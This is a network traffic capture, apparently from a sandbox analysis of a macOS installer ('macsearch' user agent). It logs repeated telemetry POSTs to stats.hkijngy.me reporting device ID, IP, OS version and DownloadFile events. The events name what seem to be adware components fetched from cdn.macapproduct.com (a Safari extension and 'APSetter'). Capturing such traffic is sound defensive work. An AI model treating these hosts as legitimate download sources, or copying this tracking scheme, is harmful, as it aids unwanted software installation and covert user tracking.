Feb 14, 2019 12:59:49.509352922 MEZ	2545	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"Version 10.13.2 (Build 17C205)","Data2":"1.0.0.7","Data3":"user","Data20":"185.189.150.72","DeviceId":"d7fc6553-0faa-5bb8-86d8-c132df7dc85c","BarcodeId"
Feb 14, 2019 12:59:49.637012005 MEZ	2545	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 Set-Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k; path=/; HttpOnly X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:49 GMT Content-Length: 0
Feb 14, 2019 12:59:49.896303892 MEZ	2545	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 468 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 12:59:49.896327019 MEZ	2546	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"true","Data2":"","Data3":"","Data20":"185.189.150.72","DeviceId":"d7fc6553-0faa-5bb8-86d8-c132df7dc85c","BarcodeId":"52413004","VersionString":"1.0.0.0"
Feb 14, 2019 12:59:50.023622990 MEZ	2546	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:49 GMT Content-Length: 0
Feb 14, 2019 12:59:57.573299885 MEZ	2581	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 464 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 12:59:57.573327065 MEZ	2582	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"","Data2":"","Data3":"","Data20":"185.189.150.72","DeviceId":"d7fc6553-0faa-5bb8-86d8-c132df7dc85c","BarcodeId":"52413004","VersionString":"1.0.0.0","Di
Feb 14, 2019 12:59:57.700793028 MEZ	2582	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:57 GMT Content-Length: 0
Feb 14, 2019 12:59:57.821044922 MEZ	2584	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 554 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 12:59:57.821064949 MEZ	2585	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"false","Data2":"http://cdn.macapproduct.com/res/mcwnet/extensions/tapufind.safariextz","Data3":"SafariSetter.safariextz","Data20":"185.189.150.72","Devi
Feb 14, 2019 12:59:57.948430061 MEZ	2585	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:57 GMT Content-Length: 0
Feb 14, 2019 12:59:57.983788013 MEZ	2640	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 546 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 12:59:57.983815908 MEZ	2640	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"true","Data2":"http://cdn.macapproduct.com/res/extensions/tapufind.safariextz","Data3":"SafariSetter.safariextz","Data20":"185.189.150.72","DeviceId":"d
Feb 14, 2019 12:59:58.110512018 MEZ	2641	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:57 GMT Content-Length: 0
Feb 14, 2019 12:59:58.190078020 MEZ	2641	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 470 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 12:59:58.190105915 MEZ	2642	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"10.13.2","Data2":"false","Data3":"","Data20":"185.189.150.72","DeviceId":"d7fc6553-0faa-5bb8-86d8-c132df7dc85c","BarcodeId":"52413004","VersionString":"
Feb 14, 2019 12:59:58.317181110 MEZ	2642	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:57 GMT Content-Length: 0
Feb 14, 2019 12:59:58.431552887 MEZ	2642	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 467 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 12:59:58.431592941 MEZ	2643	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"false","Data2":"","Data3":"","Data20":"185.189.150.72","DeviceId":"d7fc6553-0faa-5bb8-86d8-c132df7dc85c","BarcodeId":"52413004","VersionString":"1.0.0.0
Feb 14, 2019 12:59:58.559178114 MEZ	2643	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:58 GMT Content-Length: 0
Feb 14, 2019 12:59:58.562877893 MEZ	2644	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 463 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 12:59:58.562891960 MEZ	2644	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"","Data2":"","Data3":"","Data20":"185.189.150.72","DeviceId":"d7fc6553-0faa-5bb8-86d8-c132df7dc85c","BarcodeId":"52413004","VersionString":"1.0.0.0","Di
Feb 14, 2019 12:59:58.689809084 MEZ	2645	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:58 GMT Content-Length: 0
Feb 14, 2019 12:59:58.748461008 MEZ	2646	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 517 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 12:59:58.748476028 MEZ	2647	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"false","Data2":"http://cdn.macapproduct.com/res/mcwnet/APSetter","Data3":"APSetter","Data20":"185.189.150.72","DeviceId":"d7fc6553-0faa-5bb8-86d8-c132df
Feb 14, 2019 12:59:58.875690937 MEZ	2647	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:58 GMT Content-Length: 0
Feb 14, 2019 12:59:59.076821089 MEZ	2906	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 509 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 12:59:59.076869965 MEZ	2907	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"true","Data2":"http://cdn.macapproduct.com/res/APSetter","Data3":"APSetter","Data20":"185.189.150.72","DeviceId":"d7fc6553-0faa-5bb8-86d8-c132df7dc85c",
Feb 14, 2019 12:59:59.204087973 MEZ	2907	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:58 GMT Content-Length: 0
Feb 14, 2019 12:59:59.467375040 MEZ	2909	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 531 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 12:59:59.594518900 MEZ	2909	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:59 GMT Content-Length: 0
Feb 14, 2019 12:59:59.732289076 MEZ	2912	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 523 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 12:59:59.859201908 MEZ	2913	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:59 GMT Content-Length: 0
Feb 14, 2019 12:59:59.977452993 MEZ	2913	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 461 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:00.103948116 MEZ	2914	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:59 GMT Content-Length: 0
Feb 14, 2019 13:00:00.107727051 MEZ	2915	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 463 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:00.234661102 MEZ	2916	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:59 GMT Content-Length: 0
Feb 14, 2019 13:00:00.258130074 MEZ	2917	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 517 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:00.385714054 MEZ	2918	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:59 GMT Content-Length: 0
Feb 14, 2019 13:00:00.713325024 MEZ	3177	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 509 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:00.980962992 MEZ	3179	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 509 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64) Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c 22 44 61 74 61 31 22 3a 22 74 72 75 65 22 2c 22 44 61 74 61 32 22 3a 22 68 74 74 70 3a 2f 2f 63 64 6e 2e 6d 61 63 61 70 70 72 6f 64 75 63 74 2e 63 6f 6d 2f 72 65 73 2f 41 50 53 65 74 74 65 72 22 2c 22 44 61 74 61 33 22 3a 22 41 50 53 65 74 74 65 72 22 2c 22 44 61 74 61 32 30 22 3a 22 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 32 22 2c 22 44 65 76 69 63 65 49 64 22 3a 22 64 37 66 63 36 35 35 33 2d 30 66 61 61 2d 35 62 62 38 2d 38 36 64 38 2d 63 31 33 32 64 66 37 64 63 38 35 63 22 2c 22 42 61 72 63 6f 64 65 49 64 22 3a 22 35 32 34 31 33 30 30 34 22 2c 22 56 65 72 73 69 6f 6e 53 74 72 69 6e 67 22 3a 22 31 2e 30 2e 30 2e 30 22 2c 22 44 69 73 74 72 69 62 75 74 65 72 4e 61 6d 65 22 3a 22 6d 63 77 6e 65 74 22 2c 22 45 6e 74 69 74 79 4e 61 6d 65 22 3a 22 6d 61 63 5f 69 6e 73 74 61 6c 6c 65 72 22 2c 22 45 6e 74 69 74 79 54 79 70 65 22 3a 33 31 2c 22 45 76 65 6e 74 43 61 74 65 67 6f 72 79 22 3a 30 2c 22 45 76 65 6e 74 54 69 6d 65 22 3a 22 2f 44 61 74 65 28 31 33 35 33 35 37 38 38 32 30 31 38 35 2b 30 32 30 30 29 2f 22 2c 22 45 76 65 6e 74 54 79 70 65 4e 61 6d 65 22 3a 22 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 22 2c 22 49 6e 73 74 61 6c 6c 44 61 74 65 22 3a 22 2f 44 61 74 65 28 31 35 35 30 31 30 32 34 30 30 30 30 30 2b 30 30 30 30 29 2f 22 2c 22 54 61 67 22 3a 22 22 7d 5d 7d 7d Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"true","Data2":"http://cdn.macapproduct.com/res/APSetter","Data3":"APSetter","Data20":"185.189.150.72","DeviceId":"d7fc6553-0faa-5bb8-86d8-c132df7dc85c","BarcodeId":"52413004","VersionString":"1.0.0.0","DistributerName":"mcwnet","EntityName":"mac_installer","EntityType":31,"EventCategory":0,"EventTime":"/Date(1353578820185+0200)/","EventTypeName":"DownloadFile","InstallDate":"/Date(1550102400000+0000)/","Tag":""}]}}
Feb 14, 2019 13:00:01.079395056 MEZ	3180	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 509 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64) Data Raw: 7b 22 72 65 71 75 65 73 74 22 3a 7b 22 53 74 61 74 69 73 69 63 73 45 76 65 6e 74 73 4c 69 73 74 22 3a 5b 7b 22 43 68 61 6e 6e 65 6c 49 64 22 3a 22 30 30 34 22 2c 22 43 6f 75 6e 74 72 79 54 77 6f 4c 65 74 74 65 72 4e 61 6d 65 22 3a 22 43 48 22 2c 22 44 61 74 61 31 22 3a 22 74 72 75 65 22 2c 22 44 61 74 61 32 22 3a 22 68 74 74 70 3a 2f 2f 63 64 6e 2e 6d 61 63 61 70 70 72 6f 64 75 63 74 2e 63 6f 6d 2f 72 65 73 2f 41 50 53 65 74 74 65 72 22 2c 22 44 61 74 61 33 22 3a 22 41 50 53 65 74 74 65 72 22 2c 22 44 61 74 61 32 30 22 3a 22 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 32 22 2c 22 44 65 76 69 63 65 49 64 22 3a 22 64 37 66 63 36 35 35 33 2d 30 66 61 61 2d 35 62 62 38 2d 38 36 64 38 2d 63 31 33 32 64 66 37 64 63 38 35 63 22 2c 22 42 61 72 63 6f 64 65 49 64 22 3a 22 35 32 34 31 33 30 30 34 22 2c 22 56 65 72 73 69 6f 6e 53 74 72 69 6e 67 22 3a 22 31 2e 30 2e 30 2e 30 22 2c 22 44 69 73 74 72 69 62 75 74 65 72 4e 61 6d 65 22 3a 22 6d 63 77 6e 65 74 22 2c 22 45 6e 74 69 74 79 4e 61 6d 65 22 3a 22 6d 61 63 5f 69 6e 73 74 61 6c 6c 65 72 22 2c 22 45 6e 74 69 74 79 54 79 70 65 22 3a 33 31 2c 22 45 76 65 6e 74 43 61 74 65 67 6f 72 79 22 3a 30 2c 22 45 76 65 6e 74 54 69 6d 65 22 3a 22 2f 44 61 74 65 28 31 33 35 33 35 37 38 38 32 30 31 38 35 2b 30 32 30 30 29 2f 22 2c 22 45 76 65 6e 74 54 79 70 65 4e 61 6d 65 22 3a 22 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 22 2c 22 49 6e 73 74 61 6c 6c 44 61 74 65 22 3a 22 2f 44 61 74 65 28 31 35 35 30 31 30 32 34 30 30 30 30 30 2b 30 30 30 30 29 2f 22 2c 22 54 61 67 22 3a 22 22 7d 5d 7d 7d Data Ascii: {"request":{"StatisicsEventsList":[{"ChannelId":"004","CountryTwoLetterName":"CH","Data1":"true","Data2":"http://cdn.macapproduct.com/res/APSetter","Data3":"APSetter","Data20":"185.189.150.72","DeviceId":"d7fc6553-0faa-5bb8-86d8-c132df7dc85c","BarcodeId":"52413004","VersionString":"1.0.0.0","DistributerName":"mcwnet","EntityName":"mac_installer","EntityType":31,"EventCategory":0,"EventTime":"/Date(1353578820185+0200)/","EventTypeName":"DownloadFile","InstallDate":"/Date(1550102400000+0000)/","Tag":""}]}}
Feb 14, 2019 13:00:01.346772909 MEZ	3180	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:00 GMT Content-Length: 0
Feb 14, 2019 13:00:01.440115929 MEZ	3182	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 531 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:01.567543983 MEZ	3183	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:01 GMT Content-Length: 0
Feb 14, 2019 13:00:01.637936115 MEZ	3185	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 523 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:01.765327930 MEZ	3186	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:01 GMT Content-Length: 0
Feb 14, 2019 13:00:01.956456900 MEZ	3186	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 461 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:02.083559036 MEZ	3188	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:01 GMT Content-Length: 0
Feb 14, 2019 13:00:02.130408049 MEZ	3190	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 545 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 13:00:02.262917042 MEZ	3192	IN	HTTP/1.1 202 Accepted Cache-Control: private Server: Microsoft-IIS/7.5 Request-Context: appId=cid-v1:69ff8c72-2143-4c76-bcb9-2d9248930720 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 12:00:01 GMT Content-Length: 0
Feb 14, 2019 13:00:02.415832043 MEZ	3424	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Accept: / Content-Type: application/json Connection: keep-alive Cookie: ASP.NET_SessionId=x5nvurhk220p2mt0xbuta24k Accept-Language: en-us Content-Length: 537 Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
